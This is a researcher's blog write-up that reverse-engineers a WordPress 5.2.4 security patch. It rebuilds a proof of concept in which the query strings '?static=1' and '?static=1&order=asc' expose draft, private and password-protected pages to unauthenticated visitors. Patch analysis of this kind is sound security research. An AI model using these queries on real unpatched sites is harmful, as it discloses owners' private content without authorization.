A couple of days Wordpress released 5.2.4 with a few security patches. Props to J.D. Grimes who found and disclosed a method of viewing unauthenticated posts. caught my attention, but I couldn't find a public Proof of Concept, so I set out to reverse engineer the published patch.

Information Gathering

My first step was to find as much information as possible about the bug as I couldn't find a PoC. I compared the statements from different security companies. Most recited the same phrase of "possibility to view unauthenticated posts":

I discovered the relevant patch in the Wordpress SVN repo / Github repo mirror by selecting the branch 5.2-branch and going through the list of most recent commits, looking for a commit that mentions unauthenticated posts or viewing posts or something similar. Commit f82ed753cf00329a5e41f2cb6dc521085136f308 looked interesting!

Analysing the Patch

The commit changed only two lines of code and removed a static keyword as well as one part from an if-condition.

My educated guess was that the removed static check played a major role in the bypass. In wp-includes/class-wp-query.php on line 731 the function parse_query begins. It sanitizes and parses all passed query ( $_GET ?) parameters.

From line 696 to 922 we see an about 125 lines long block of conditionals that set $this->is_single or $this->is_attachment or $this->is_page depending on the given parameters. As all of those cases are based on elseif ; only one branch can be evaluated and we know which branch that should be:

// If year, month, day, hour, minute, and second are set, a single // post is being queried. } elseif ( '' != $qv['static'] || '' != $qv['pagename'] || ! empty( $qv['page_id'] ) ) { $this->is_page = true; $this->is_single = false; } else { // Look for archive queries. Dates, categories, authors, search, post type archives.

So we definitely don't want to set parameters like attachment , name , p , hour , etc. that would cause our branch to be skipped. We also cannot set the parameters pagename or page_id , because we don't know them and/or they would only return one result which would fail the access control checks.

Instead, we need to use static=1 in our list of parameters. At this point it took me a few hours to understand and become familiar with Wordpress' code base and surrounding functions.

Eventually I came across the function get_posts() which queries the database using the (parsed) parameters.

public function get_posts() { global $wpdb; $this->parse_query(); [..]

With a bit of var_dump debugging at various locations, I finally stumbled across the following block:

// Check post status to determine if post should be displayed. if ( ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) ) { $status = get_post_status( $this->posts[0] ); if ( 'attachment' === $this->posts[0]->post_type && 0 === (int) $this->posts[0]->post_parent ) { $this->is_page = false; $this->is_single = true; $this->is_attachment = true; } $post_status_obj = get_post_status_object( $status ); //PoC: Let's see what we have //var_dump($q_status); //var_dump($post_status_obj); // If the post_status was specifically requested, let it pass through. if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) { //var_dump("PoC: Incorrect status! :-/"); if ( ! is_user_logged_in() ) { // User must be logged in to view unpublished posts. $this->posts = array(); //var_dump("PoC: No posts :-("); } else { if ( $post_status_obj->protected ) { // User must have edit permissions on the draft to preview. if ( ! current_user_can( $edit_cap, $this->posts[0]->ID ) ) { $this->posts = array(); } else { $this->is_preview = true; if ( 'future' != $status ) { $this->posts[0]->post_date = current_time( 'mysql' ); } } } elseif ( $post_status_obj->private ) { if ( ! current_user_can( $read_cap, $this->posts[0]->ID ) ) { $this->posts = array(); } } else { $this->posts = array(); } } }

As we do not specify any specific query parameters, except for static=1 , the SQL query before the $this->posts = $wpdb->get_results($this->request); will be var_dump($this->request); :

string(112) "SELECT wp_posts.* FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'page' ORDER BY wp_posts.post_date DESC "

This should return all pages from the database (including password protected , pending and drafts ). Therefore, ! empty( $this->posts ) && ( $this->is_single || $this->is_page ) is evaluated to true .

The function then proceeds to check the status of the first (!) returned post ( $status = get_post_status( $this->posts[0] ); ):

if ( ! $post_status_obj->public && ! in_array( $status, $q_status ) ) {

If the first post's status is not public , then further access control checks are conducted. I.e. when the user is unauthenticated, the $this->posts array is emptied.

Exploiting the Bug

So the obvious trick is to manipulate the query in such a way that the first post has status published , but more than 1 post is returned in the array.

For that, creating a few pages is necessary:

One that is published

One that is a draft

I'll use pages here, becaue post_type='page' is set by default, but setting &post_type=post changes it to post_type = 'post' if necessary.

So far we know that adding ?static=1 to a wordpress URL should leak its secret content. Adding a var_dump($this->posts); before the access control checks, we can see the following pages being returned for http://wordpress.local/?static=1 :

array(2) { [0]=> object(WP_Post)#763 (24) { ["ID"]=> int(43) ["post_author"]=> string(1) "1" ["post_date"]=> string(19) "2019-10-20 03:55:29" ["post_date_gmt"]=> string(19) "0000-00-00 00:00:00" ["post_content"]=> string(79) "<!-- wp:paragraph --> <p>A draft with secret content</p> <!-- /wp:paragraph -->" ["post_title"]=> string(7) "A draft" ["post_excerpt"]=> string(0) "" ["post_status"]=> string(5) "draft" ["comment_status"]=> string(6) "closed" ["ping_status"]=> string(6) "closed" ["post_password"]=> string(0) "" ["post_name"]=> string(0) "" ["to_ping"]=> string(0) "" ["pinged"]=> string(0) "" ["post_modified"]=> string(19) "2019-10-20 03:55:29" ["post_modified_gmt"]=> string(19) "2019-10-20 03:55:29" ["post_content_filtered"]=> string(0) "" ["post_parent"]=> int(0) ["guid"]=> string(34) "http://wordpress.local/?page_id=43" ["menu_order"]=> int(0) ["post_type"]=> string(4) "page" ["post_mime_type"]=> string(0) "" ["comment_count"]=> string(1) "0" ["filter"]=> string(3) "raw" } [1]=> object(WP_Post)#764 (24) { ["ID"]=> int(41) ["post_author"]=> string(1) "1" ["post_date"]=> string(19) "2019-10-20 03:54:50" ["post_date_gmt"]=> string(19) "2019-10-20 03:54:50" ["post_content"]=> string(66) "<!-- wp:paragraph --> <p>Public content</p> <!-- /wp:paragraph -->" ["post_title"]=> string(13) "A public page" ["post_excerpt"]=> string(0) "" ["post_status"]=> string(7) "publish" ["comment_status"]=> string(6) "closed" ["ping_status"]=> string(6) "closed" ["post_password"]=> string(0) "" ["post_name"]=> string(13) "a-public-page" ["to_ping"]=> string(0) "" ["pinged"]=> string(0) "" ["post_modified"]=> string(19) "2019-10-20 03:55:10" ["post_modified_gmt"]=> string(19) "2019-10-20 03:55:10" ["post_content_filtered"]=> string(0) "" ["post_parent"]=> int(0) ["guid"]=> string(34) "http://wordpress.local/?page_id=41" ["menu_order"]=> int(0) ["post_type"]=> string(4) "page" ["post_mime_type"]=> string(0) "" ["comment_count"]=> string(1) "0" ["filter"]=> string(3) "raw" } }

As you can see, the first page in the array is the draft ( ["post_status"]=>string(5) "draft" ), therefore nothing can be seen:

However, there are a few ways to manipulate the returned entries:

order with asc or desc

with or orderby

m with m=YYYY , m=YYYYMM or m=YYYYMMDD date format

with , or date format ...

In this case, simply reversing the order of the returned elements suffices and http://wordpress.local/?static=1&order=asc will show the secret content:

UPDATE

This issue also discloses password protected and private posts:

WIN!

-=-